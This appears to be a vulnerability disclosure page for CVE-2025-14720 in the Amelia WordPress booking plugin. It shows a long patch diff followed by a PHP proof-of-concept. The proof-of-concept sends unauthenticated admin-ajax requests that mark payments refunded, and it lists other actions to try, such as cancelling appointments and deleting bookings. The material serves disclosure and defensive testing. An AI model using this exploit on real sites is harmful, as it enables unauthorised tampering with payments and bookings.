+            $tag = $attrs['tags']['innerContent']['desktop']['value'] ?? [];
+            if ($tag && count($tag) > 0) {
+                $shortcode .= ' tag="' . implode(',', array_map(function ($t) {
+                    return '{' . $t . '}';
+                }, $tag)) . '"';
+            }
+
+            $recurring = $attrs['recurring']['innerContent']['desktop']['value'] ?? false;
+            if ($recurring === 'on') {
+                $shortcode .= ' recurring=1';
+            }
+
+            $locations = $attrs['locations']['innerContent']['desktop']['value'] ?? [];
+            if ($locations && count($locations) > 0) {
+                $shortcode .= ' location=' . implode(',', $locations);
+            }
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaEventsListModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaEventsListModule.php
@@ -0,0 +1,88 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Events List" module output in frontend.
+ */
+class AmeliaEventsListModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaEventsListModule::class, 'registerModule']);
+    }
+
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/EventsList';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaEventsListModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render module HTML output.
+     */
+    public static function renderCallback($attrs, $content, $block, $elements)
+    {
+        $shortcode = '[ameliaeventslistbooking';
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '') {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        $trigger_type = $attrs['trigger_type']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger && $trigger_type !== null && $trigger_type !== '') {
+            $shortcode .= ' trigger_type=' . $trigger_type;
+        }
+
+        $in_dialog = $attrs['in_dialog']['innerContent']['desktop']['value'] ?? false;
+        if ($trigger && $in_dialog === 'on') {
+            $shortcode .= ' in_dialog=1';
+        }
+
+        // Preselect/filter parameters
+        $booking_params = $attrs['booking_params']['innerContent']['desktop']['value'] ?? false;
+        if ($booking_params === 'on') {
+            $event = $attrs['events']['innerContent']['desktop']['value'] ?? [];
+            if ($event && count($event) > 0) {
+                $shortcode .= ' event=' . implode(',', $event);
+            }
+
+            $tag = $attrs['tags']['innerContent']['desktop']['value'] ?? [];
+            if ($tag && count($tag) > 0) {
+                $shortcode .= ' tag="' . implode(',', array_map(function ($t) {
+                    return '{' . $t . '}';
+                }, $tag)) . '"';
+            }
+
+            $recurring = $attrs['recurring']['innerContent']['desktop']['value'] ?? false;
+            if ($recurring === 'on') {
+                $shortcode .= ' recurring=1';
+            }
+
+            $locations = $attrs['locations']['innerContent']['desktop']['value'] ?? [];
+            if ($locations && count($locations) > 0) {
+                $shortcode .= ' location=' . implode(',', $locations);
+            }
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaEventsModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaEventsModule.php
@@ -0,0 +1,77 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Events" (legacy) module output in frontend.
+ */
+class AmeliaEventsModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaEventsModule::class, 'registerModule']);
+    }
+
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/Events';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaEventsModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render module HTML output.
+     */
+    public static function renderCallback($attrs, $content, $block, $elements)
+    {
+        $shortcode = '[ameliaevents';
+
+        $type = $attrs['type']['innerContent']['desktop']['value'] ?? null;
+        if ($type !== null && $type !== '') {
+            $shortcode .= ' type=' . $type;
+        } else {
+            $shortcode .= ' type=list';
+        }
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '') {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        $bookingParams = $attrs['booking_params']['innerContent']['desktop']['value'] ?? 'off';
+        if ($bookingParams === 'on') {
+            $event = $attrs['events']['innerContent']['desktop']['value'] ?? '0';
+            if ($event !== '0') {
+                $shortcode .= ' event=' . $event;
+            }
+
+            $tag = $attrs['tags']['innerContent']['desktop']['value'] ?? '0';
+            if ($tag !== null && $tag !== '' && $tag !== '0') {
+                $shortcode .= ' tag="' . esc_attr($tag) . '"';
+            }
+
+            $recurring = $attrs['recurring']['innerContent']['desktop']['value'] ?? 'off';
+            if ($recurring === 'on') {
+                $shortcode .= ' recurring=1';
+            }
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaSearchModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaSearchModule.php
@@ -0,0 +1,61 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Search" module output in frontend.
+ */
+class AmeliaSearchModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaSearchModule::class, 'registerModule']);
+    }
+
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/Search';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaSearchModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render module HTML output.
+     */
+    public static function renderCallback($attrs, $content, $block, $elements)
+    {
+        $shortcode = '[ameliasearch';
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '') {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        $bookingParams = $attrs['booking_params']['innerContent']['desktop']['value'] ?? 'off';
+        if ($bookingParams === 'on') {
+            $showAll = $attrs['type']['innerContent']['desktop']['value'] ?? '0';
+            if ($showAll !== null && $showAll !== '' && $showAll !== '0') {
+                $shortcode .= ' show=' . $showAll;
+            }
+            $shortcode .= ' today=1';
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaStepBookingModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaStepBookingModule.php
@@ -0,0 +1,99 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Step Booking" module output in frontend.
+ */
+class AmeliaStepBookingModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaStepBookingModule::class, 'registerModule']);
+    }
+
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/StepBooking';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaStepBookingModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render module HTML output.
+     */
+    public static function renderCallback($attrs, $content, $block, $elements)
+    {
+        $shortcode = '[ameliastepbooking';
+
+        $show_all = $attrs['type']['innerContent']['desktop']['value'] ?? null;
+        if ($show_all !== null && $show_all !== '0') {
+            $shortcode .= ' show=' . $show_all;
+        }
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '') {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        // Layout
+        $layout = $attrs['layout']['innerContent']['desktop']['value'] ?? null;
+        if ($layout !== null && $layout !== '') {
+            $shortcode .= ' layout=' . $layout;
+        }
+
+        // Trigger Type
+        $trigger_type = $attrs['trigger_type']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger && $trigger_type !== null && $trigger_type !== '') {
+            $shortcode .= ' trigger_type=' . $trigger_type;
+        }
+
+        // In Dialog
+        $in_dialog = $attrs['in_dialog']['innerContent']['desktop']['value'] ?? false;
+        if ($in_dialog === 'on') {
+            $shortcode .= ' in_dialog=1';
+        }
+
+        $preselect = $attrs['parameters']['innerContent']['desktop']['value'] ?? false;
+        if ($preselect === 'on') {
+            $category = $attrs['categories']['innerContent']['desktop']['value'] ?? [];
+            $service  = $attrs['services']['innerContent']['desktop']['value'] ?? [];
+            $employee = $attrs['employees']['innerContent']['desktop']['value'] ?? [];
+            $location = $attrs['locations']['innerContent']['desktop']['value'] ?? [];
+            $package  = $attrs['packages']['innerContent']['desktop']['value'] ?? [];
+
+            if ($service && count($service) > 0) {
+                $shortcode .= ' service=' . implode(',', $service);
+            } elseif ($category && count($category) > 0) {
+                $shortcode .= ' category=' . implode(',', $category);
+            }
+            if ($employee && count($employee) > 0) {
+                $shortcode .= ' employee=' . implode(',', $employee);
+            }
+            if ($location && count($location) > 0) {
+                $shortcode .= ' location=' . implode(',', $location);
+            }
+            if ($package && count($package) > 0) {
+                $shortcode .= ' package=' . implode(',', $package);
+            }
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/index.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/index.php
@@ -0,0 +1,212 @@
+<?php
+
+/**
+ * Divi 5 Amelia Modules Bootstrap
+ *
+ * This file loads and registers all Divi 5 Amelia modules.
+ * phpcs:disable PSR1.Files.SideEffects
+ */
+
+namespace Divi5Amelia;
+
+use AmeliaBookingInfrastructureLicenceLicence;
+
+if (!defined('ABSPATH')) {
+    die('Direct access forbidden.');
+}
+
+// Check if Divi 5 is active before loading modules
+function is_divi_5_active()
+{
+    $theme = wp_get_theme();
+    $is_divi_theme = 'Divi' === $theme->name || 'Divi' === $theme->parent_theme;
+
+    return $is_divi_theme;
+}
+
+/**
+ * Custom value expansion function for converting comma-separated strings to arrays
+ * Used during Divi 4 to Divi 5 conversion for multi-select fields
+ */
+function ameliaConvertParams($value, $context = [])
+{
+    if (is_string($value) && $value !== '') {
+        $items = array_map('trim', explode(',', $value));
+        return array_filter($items, function ($item) {
+            return $item !== '';
+        });
+    }
+
+    if (is_array($value)) {
+        return $value;
+    }
+
+    return [];
+}
+
+/**
+ * Convert Divi 4 yes_no_button values to Divi 5 toggle string values
+ * Keep as 'on'/'off' strings since that's what Divi Toggle component expects
+ */
+function ameliaConvertToggle($value, $context = [])
+{
+    // Handle empty/null/undefined - default to 'on' (Divi 4 defaults were 'on')
+    if ($value === null || $value === '') {
+        return 'on';
+    }
+
+    // Already correct string format
+    if ($value === 'on' || $value === '1' || $value === 1 || $value === true || $value === 'true') {
+        return 'on';
+    }
+
+    if ($value === 'off' || $value === '0' || $value === 0 || $value === false || $value === 'false') {
+        return 'off';
+    }
+
+    // Default to 'on' for Customer Panel (matches D4 behavior)
+    return 'on';
+}
+
+/**
+ * Convert catalog items (categories/services/packages) and automatically set catalog_view
+ *
+ * @param mixed $value The value to convert (comma-separated string or array)
+ * @param array $context Context information including field name and attributes
+ * @return array Converted array of items
+ */
+function ameliaConvertCatalogItems($value, $context = [])
+{
+    $result = ameliaConvertParams($value, $context);
+
+    // If items were selected, also update the catalog_view based on field name
+    if (!empty($result) && isset($context['attrs']) && isset($context['fieldName'])) {
+        // Determine catalog view type from field name
+        $catalogViewMap = [
+            'categories' => 'category',
+            'services' => 'service',
+            'packages' => 'package',
+        ];
+
+        $fieldName = $context['fieldName'];
+        if (isset($catalogViewMap[$fieldName])) {
+            if (!isset($context['attrs']['catalog_view'])) {
+                $context['attrs']['catalog_view'] = [];
+            }
+            $context['attrs']['catalog_view']['innerContent'] = [
+                'desktop' => ['value' => $catalogViewMap[$fieldName]]
+            ];
+        }
+    }
+
+    return $result;
+}
+
+/**
+ * Register custom value expansion functions for Divi conversion system
+ */
+add_filter('divi.moduleLibrary.conversion.valueExpansionFunctionMap', function ($functionMap) {
+    $functionMap['ameliaConvertParams'] = 'Divi5AmeliaameliaConvertParams';
+    $functionMap['ameliaConvertToggle'] = 'Divi5AmeliaameliaConvertToggle';
+    $functionMap['ameliaConvertCatalogItems'] = 'Divi5AmeliaameliaConvertCatalogItems';
+
+    return $functionMap;
+});
+
+if (is_divi_5_active()) {
+    // Load Divi dependency interface before loading modules
+    $divi_dependency_interface = get_template_directory() . '/includes/builder-5/server/Framework/DependencyManagement/Interfaces/DependencyInterface.php';
+
+    if (!file_exists($divi_dependency_interface)) {
+        return;
+    }
+
+    require_once $divi_dependency_interface;
+
+    require_once __DIR__ . '/AmeliaStepBookingModule.php';
+    require_once __DIR__ . '/AmeliaBookingModule.php';
+    require_once __DIR__ . '/AmeliaCatalogBookingModule.php';
+    require_once __DIR__ . '/AmeliaCatalogModule.php';
+    require_once __DIR__ . '/AmeliaEventsListModule.php';
+    require_once __DIR__ . '/AmeliaEventsModule.php';
+    require_once __DIR__ . '/AmeliaSearchModule.php';
+
+    if (Licence::$premium) {
+        require_once __DIR__ . '/AmeliaEventsCalendarModule.php';
+        require_once __DIR__ . '/AmeliaCustomerPanelModule.php';
+        require_once __DIR__ . '/AmeliaEmployeePanelModule.php';
+    }
+
+    add_action(
+        'divi_module_library_modules_dependency_tree',
+        function ($dependency_tree) {
+            $dependency_tree->add_dependency(new AmeliaStepBookingModule());
+        }
+    );
+
+    add_action(
+        'divi_module_library_modules_dependency_tree',
+        function ($dependency_tree) {
+            $dependency_tree->add_dependency(new AmeliaBookingModule());
+        }
+    );
+
+    add_action(
+        'divi_module_library_modules_dependency_tree',
+        function ($dependency_tree) {
+            $dependency_tree->add_dependency(new AmeliaCatalogBookingModule());
+        }
+    );
+
+    add_action(
+        'divi_module_library_modules_dependency_tree',
+        function ($dependency_tree) {
+            $dependency_tree->add_dependency(new AmeliaCatalogModule());
+        }
+    );
+
+    add_action(
+        'divi_module_library_modules_dependency_tree',
+        function ($dependency_tree) {
+            $dependency_tree->add_dependency(new AmeliaEventsListModule());
+        }
+    );
+
+    add_action(
+        'divi_module_library_modules_dependency_tree',
+        function ($dependency_tree) {
+            $dependency_tree->add_dependency(new AmeliaEventsModule());
+        }
+    );
+
+    add_action(
+        'divi_module_library_modules_dependency_tree',
+        function ($dependency_tree) {
+            $dependency_tree->add_dependency(new AmeliaSearchModule());
+        }
+    );
+
+    // Register premium modules only if license is premium
+    if (Licence::$premium) {
+        add_action(
+            'divi_module_library_modules_dependency_tree',
+            function ($dependency_tree) {
+                $dependency_tree->add_dependency(new AmeliaEventsCalendarModule());
+            }
+        );
+
+        add_action(
+            'divi_module_library_modules_dependency_tree',
+            function ($dependency_tree) {
+                $dependency_tree->add_dependency(new AmeliaCustomerPanelModule());
+            }
+        );
+
+        add_action(
+            'divi_module_library_modules_dependency_tree',
+            function ($dependency_tree) {
+                $dependency_tree->add_dependency(new AmeliaEmployeePanelModule());
+            }
+        );
+    }
+}
--- a/ameliabooking/extensions/divi_amelia/includes/loader.php
+++ b/ameliabooking/extensions/divi_amelia/includes/loader.php
@@ -6,9 +6,19 @@

 $module_files = glob(__DIR__ . '/modules/*/*.php');

-// Load custom Divi Builder modules
+$hidden_modules = ['Search', 'Events', 'Booking', 'Catalog'];
+
+// Check if we're in Divi builder context (admin or visual builder)
+$is_builder = is_admin()
+    || isset($_GET['et_fb'])
+    || (function_exists('et_core_is_fb_enabled') && et_core_is_fb_enabled());
+
 foreach ((array) $module_files as $module_file) {
-    if ($module_file && preg_match("//modules/b([^/]+)/\1.php$/", $module_file)) {
+    if ($module_file && preg_match("//modules/b([^/]+)/\1.php$/", $module_file, $matches)) {
+        // Skip hidden modules in builder, but load them on frontend for existing pages
+        if (in_array($matches[1], $hidden_modules) && $is_builder) {
+            continue;
+        }
         require_once $module_file;
     }
 }
--- a/ameliabooking/extensions/divi_amelia/includes/modules/Booking/Booking.php
+++ b/ameliabooking/extensions/divi_amelia/includes/modules/Booking/Booking.php
@@ -26,11 +26,11 @@

     public function init()
     {
-        $this->name = esc_html__(BackendStrings::getWordPressStrings()['booking_divi'], 'divi-divi_amelia');
+        $this->name = esc_html__(BackendStrings::get('booking_divi'), 'divi-divi_amelia');

-        $this->type['0']        = BackendStrings::getWordPressStrings()['show_all'];
-        $this->type['services'] = BackendStrings::getCommonStrings()['services'];
-        $this->type['packages'] = BackendStrings::getCommonStrings()['packages'];
+        $this->type['0']        = BackendStrings::get('show_all');
+        $this->type['services'] = BackendStrings::get('services');
+        $this->type['packages'] = BackendStrings::get('packages');

         if (!is_admin()) {
             return;
@@ -39,21 +39,21 @@
         $data = GutenbergBlock::getEntitiesData()['data'];
         $this->showPackages = !empty($data['packages']);

-        $this->categories['0'] = BackendStrings::getWordPressStrings()['show_all_categories'];
+        $this->categories['0'] = BackendStrings::get('show_all_categories');
         foreach ($data['categories'] as $category) {
             $this->categories[$category['id']] = $category['name']. ' (id: ' . $category['id'] . ')';
         }
-        $this->services['0'] = BackendStrings::getWordPressStrings()['show_all_services'];
+        $this->services['0'] = BackendStrings::get('show_all_services');
         foreach ($data['servicesList'] as $service) {
             if ($service) {
                 $this->services[$service['id']] = $service['name']. ' (id: ' . $service['id'] . ')';
             }
         }
-        $this->employees['0'] = BackendStrings::getWordPressStrings()['show_all_employees'];
+        $this->employees['0'] = BackendStrings::get('show_all_employees');
         foreach ($data['employees'] as $employee) {
             $this->employees[$employee['id']] = $employee['firstName'] . ' ' . $employee['lastName'] . ' (id: ' . $employee['id'] . ')';
         }
-        $this->locations['0'] = BackendStrings::getWordPressStrings()['show_all_locations'];
+        $this->locations['0'] = BackendStrings::get('show_all_locations');
         foreach ($data['locations'] as $location) {
             $this->locations[$location['id']] = $location['name']. ' (id: ' . $location['id'] . ')';
         }
@@ -76,17 +76,17 @@
     {
         $array = array(
             'booking_params' => array(
-                'label'           => esc_html__(BackendStrings::getWordPressStrings()['filter'], 'divi-divi_amelia'),
+                'label'           => esc_html__(BackendStrings::get('filter'), 'divi-divi_amelia'),
                 'type'            => 'yes_no_button',
                 'options' => array(
-                    'on'  => esc_html__(BackendStrings::getCommonStrings()['yes'], 'divi-divi_amelia'),
-                    'off' => esc_html__(BackendStrings::getCommonStrings()['no'], 'divi-divi_amelia'),
+                    'on'  => esc_html__(BackendStrings::get('yes'), 'divi-divi_amelia'),
+                    'off' => esc_html__(BackendStrings::get('no'), 'divi-divi_amelia'),
                 ),
                 'toggle_slug'     => 'main_content',
                 'option_category' => 'basic_option',
             ),
             'categories' => array(
-                'label'           => esc_html__(BackendStrings::getWordPressStrings()['select_category'], 'divi-divi_amelia'),
+                'label'           => esc_html__(BackendStrings::get('select_category'), 'divi-divi_amelia'),
                 'type'            => 'select',
                 'options'         => $this->categories,
                 'toggle_slug'     => 'main_content',
@@ -96,7 +96,7 @@
                 ),
             ),
             'services' => array(
-                'label'           => esc_html__(BackendStrings::getWordPressStrings()['select_service'], 'divi-divi_amelia'),
+                'label'           => esc_html__(BackendStrings::get('select_service'), 'divi-divi_amelia'),
                 'type'            => 'select',
                 'toggle_slug'     => 'main_content',
                 'options'         => $this->services,
@@ -106,7 +106,7 @@
                 ),
             ),
             'employees' => array(
-                'label'           => esc_html__(BackendStrings::getWordPressStrings()['select_employee'], 'divi-divi_amelia'),
+                'label'           => esc_html__(BackendStrings::get('select_employee'), 'divi-divi_amelia'),
                 'type'            => 'select',
                 'options'         => $this->employees,
                 'toggle_slug'     => 'main_content',
@@ -116,7 +116,7 @@
                 ),
             ),
             'locations' => array(
-                'label'           => esc_html__(BackendStrings::getWordPressStrings()['select_location'], 'divi-divi_amelia'),
+                'label'           => esc_html__(BackendStrings::get('select_location'), 'divi-divi_amelia'),
                 'type'            => 'select',
                 'options'         => $this->locations,
                 'toggle_slug'     => 'main_content',
@@ -129,7 +129,7 @@

         if ($this->showPackages) {
             $array['type'] = array(
-                'label'           => esc_html__(BackendStrings::getWordPressStrings()['show_all'], 'divi-divi_amelia'),
+                'label'           => esc_html__(BackendStrings::get('show_all'), 'divi-divi_amelia'),
                 'type'            => 'select',
                 'options'         => $this->type,
                 'toggle_slug'     => 'main_content',
@@ -140,11 +140,11 @@
         }

         $array['trigger'] = array(
-            'label'           => esc_html__(BackendStrings::getWordPressStrings()['manually_loading'], 'divi-divi_amelia'),
+            'label'           => esc_html__(BackendStr

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14720 - Booking for Appointments and Events Calendar – Amelia <= 1.2.38 - Missing Authorization to Unauthenticated Multiple AJAX Actions

<?php
/**
 * Proof of Concept for CVE-2025-14720
 * Demonstrates unauthorized access to Amelia plugin AJAX actions
 * 
 * Usage: php poc.php --url=https://target.site --action=amelia_action_name
 */

// Configuration
$target_url = 'https://target.site'; // Change this to target WordPress site
$action = 'amelia_mark_payment_refunded'; // Vulnerable AJAX action

// Set up cURL request to admin-ajax.php
$ch = curl_init();
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';

// Prepare POST data with vulnerable action
$post_data = [
    'action' => $action,
    // Additional parameters may be required depending on the specific action
    // For payment refund action:
    'paymentId' => '1', // Example payment ID
    'status' => 'refunded'
];

curl_setopt_array($ch, [
    CURLOPT_URL => $ajax_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => $post_data,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_SSL_VERIFYPEER => false, // For testing only
    CURLOPT_SSL_VERIFYHOST => false, // For testing only
    CURLOPT_HTTPHEADER => [
        'User-Agent: Atomic Edge Security Research',
        'X-Requested-With: XMLHttpRequest'
    ]
]);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Display results
echo "Atomic Edge CVE-2025-14720 PoCn";
echo "Target: $ajax_urln";
echo "Action: $actionn";
echo "HTTP Status: $http_coden";

if ($http_code === 200) {
    echo "Response: ";
    if (strlen($response) > 500) {
        echo substr($response, 0, 500) . "... [truncated]";
    } else {
        echo $response;
    }
    echo "n";
    
    // Check for success indicators
    if (strpos($response, 'success') !== false || strpos($response, 'true') !== false) {
        echo "[+] VULNERABLE: Action executed successfully without authenticationn";
    } else {
        echo "[?] Action may have executed. Check response for details.n";
    }
} else {
    echo "[-] Request failed with HTTP $http_coden";
}

curl_close($ch);

// Additional vulnerable actions to test
$vulnerable_actions = [
    'amelia_send_queued_notifications', // Trigger notification sending
    'amelia_get_debug_info', // Access debug information
    'amelia_update_booking_status', // Modify booking status
    'amelia_cancel_appointment', // Cancel appointments
    'amelia_delete_booking' // Delete bookings
];

echo "nOther potentially vulnerable actions:n";
foreach ($vulnerable_actions as $test_action) {
    echo "- $test_actionn";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School